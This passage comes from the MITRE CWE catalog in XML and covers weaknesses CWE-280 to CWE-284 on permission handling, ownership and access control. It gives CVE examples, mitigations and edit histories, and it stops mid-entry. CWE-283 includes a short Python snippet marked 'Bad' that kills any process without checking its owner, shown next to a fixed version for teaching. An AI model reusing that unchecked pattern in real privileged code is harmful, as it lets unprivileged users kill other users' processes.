               <Reference>CVE-2003-0501</Reference>
               <Description>Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0501</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0148</Reference>
               <Description>FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0148</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Fails poorly due to insufficient permissions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>17</Entry_ID>
               <Entry_Name>Improper Filesystem Permissions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.</Note>
            <Note Type="Relationship">This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).</Note>
            <Note Type="Theoretical">Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).</Note>
            <Note Type="Research Gap">This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Insufficient Permissions or Privileges</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="281" Name="Improper Preservation of Permissions" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>This is resultant from errors that prevent the permissions from being preserved.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-2323</Reference>
               <Description>Incorrect ACLs used when restoring backups from directories that use symbolic links.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2323</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1515</Reference>
               <Description>Automatic modification of permissions inherited from another file system.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1515</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1920</Reference>
               <Description>Permissions on backup file are created with defaults, possibly less secure than original file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1920</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0195</Reference>
               <Description>File is made world-readable when being cloned.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0195</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Permission preservation failure</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Permission Preservation Failure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="282" Name="Improper Ownership Management" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1125</Reference>
               <Description>Program runs setuid root but relies on a configuration file owned by a non-root user.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1125</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Ownership errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="35"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Maintenance">The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Ownership Issues</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="283" Name="Unverified Ownership" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly verify that a critical resource is owned by the proper entity.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="282" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could gain unauthorized access to system resources.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-49">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This function is part of a privileged program that takes input from users with potentially lower privileges.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>def killProcess(processID):<xhtml:div style="margin-left:1em;">os.kill(processID, signal.SIGKILL)</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.</Body_Text>
               <Body_Text>This function remedies the problem by checking the owner of the process before killing it:</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>def killProcess(processID):<xhtml:div style="margin-left:1em;">
                        <xhtml:div>user = getCurrentUser()<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>#Check process owner against requesting user</xhtml:i>
                           <xhtml:br/>if getProcessOwner(processID) == user:<xhtml:div style="margin-left:1em;">os.kill(processID, signal.SIGKILL)<xhtml:br/>return</xhtml:div>
                           <xhtml:br/>else:<xhtml:div style="margin-left:1em;">print("You cannot kill a process you don't own")<xhtml:br/>return</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0178</Reference>
               <Description>Program does not verify the owner of a UNIX socket that is used for sending a password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0178</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2012</Reference>
               <Description>Owner of special device not checked, allowing root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2012</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unverified Ownership</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This overlaps insufficient comparison, verification errors, permissions, and privileges.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="284" Name="Improper Access Control" Abstraction="Pillar" Structure="Simple" Status="Incomplete">
         <Description>The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.</Description>
         <Extended_Description>
            <xhtml:p>Access control involves the use of several protection mechanisms such as:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>Authentication (proving the identity of an actor)</xhtml:li>
               <xhtml:li>Authorization (ensuring that a given actor can access a resource), and</xhtml:li>
               <xhtml:li>Accountability (tracking of activities that were performed)</xhtml:li>
            </xhtml:ul>
            <xhtml:p>When any mechanism is not applied or otherwise fails, attackers can compromise the security of the product by gaining privileges, reading sensitive information, executing commands, evading detection, etc.</xhtml:p>
            <xhtml:p>There are two distinct behaviors that can introduce access control weaknesses:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.</xhtml:li>
                  <xhtml:li>Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
		 <Applicable_Platforms>
		   <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Authorization</Term>
               <Description>The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29238</Reference>
               <Description>Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-23607</Reference>
               <Description>Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-23607</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21972</Reference>
               <Description>Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-37415</Reference>
               <Description>IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-37415</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-13927</Reference>
               <Description>Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-13927</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4624</Reference>
               <Description>Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4624</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Access Control List (ACL) errors</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>2</Entry_ID>
               <Entry_Name>Insufficient Authorization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Missing Access Control</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
